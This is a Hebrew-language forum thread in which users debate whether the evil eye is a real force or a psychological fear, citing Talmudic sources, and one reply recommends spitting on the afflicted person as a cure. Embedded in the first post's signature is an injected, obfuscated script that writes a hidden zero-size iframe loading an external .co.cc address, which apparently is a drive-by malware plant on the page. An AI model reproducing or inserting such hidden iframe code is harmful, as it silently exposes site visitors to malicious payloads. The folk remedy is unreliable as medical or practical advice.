| נשלח ב-5/5/2013 10:58 |
 |
| |
| מיימוני כתב: |  | הדסה
ברוכה הבאה לפורום!
אם את מצאת לנכון להמליץ על מי שמתמחה ב"הוצאת עין הרע", אזי אני מוצא לנכון להציג עמדה אחרת.
א. עין הרע זה ענין פסיכולוגי בלבד. והסיבה פשוטה: האם ה' יקשיב לקול קנאתו של פלוני נגד חברו? (לעיל הזכירו שהרב דסלר התקשה בדבר, והמציא תירוץ כדי להסביר איך זה יכול להיות).
ב. ממילא, לבעיה פסיכולוגית צריך תשובה פסיכולוגית. מי שלא ישתכנע מההסבר שעין הרע אינו כלום, אולי באמת צריך שמישהו יעשה לו הצגה. יתכן שהאיש שהמלצת עליו אכן מתאים לזה.
ג. אמנם יש לחשוש שכל הפונה לייעוץ מהסוג שהזכרת עובר על איסורי תורה שונים כמו מגיה (=כישוף), דרכי האמורי ועוד.
כמובן, צריך לבאר אותן גמרות שבהן מוזכר נזק של עין הרע. אולם סבורני שבכל אלו מדובר או על קנאה הפועלת בין אדם לחברו להזיק (כגון המוציא שם רע) או על חשש פסיכולוגי בלבד. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
במחילה- אבל הדברים אינם עולים לפי מה שכתוב בתנ"ך בתלמוד וכו' לפי הכתוב והנאמר והמובן.
יש בעולם כוחות רע. -או שאלוקים נתן רשות עצמאית לפעול. או חלילה נבראו כרשות בפני עצמו. כמובן שאלוקים הוא שברא את הכוחות הללו. ברא, ושוב אינו מתערב בפעולתם, הנביא ישעיהו אומר- יוצר אור ובורא חושך עושה שלום ובורא רע.
יש הרבה דוגמאות לכוחות הרע העצמאיות, כי אם זה לא כך,אצל בלעם הסיפור היה יכול להיות שונה לגמרי.-
הגמרא בב"ב עוסקת כמעט פרק שלם בהזק ראיה. .
הגמרא בב"מ מספרת על רב שהיה בבית הקברות- וציין צט מהם מתו מעין הרע, ורק אחד כדרך העולם.
בחתימתך אתה מדגיש את מאמרם ברית כרותה לשפתים- לשפתיים כן לעיינים לא?
היום בעידן המודרני קוראים לכך קארמא שלילית.
יש תרופה מצוינת לעין הרע- לירוק שלש פעמים על הנפגע.- ברוק ממש -כמה שיותר גדול-כמו בחליצה.
|
|
|
|
|
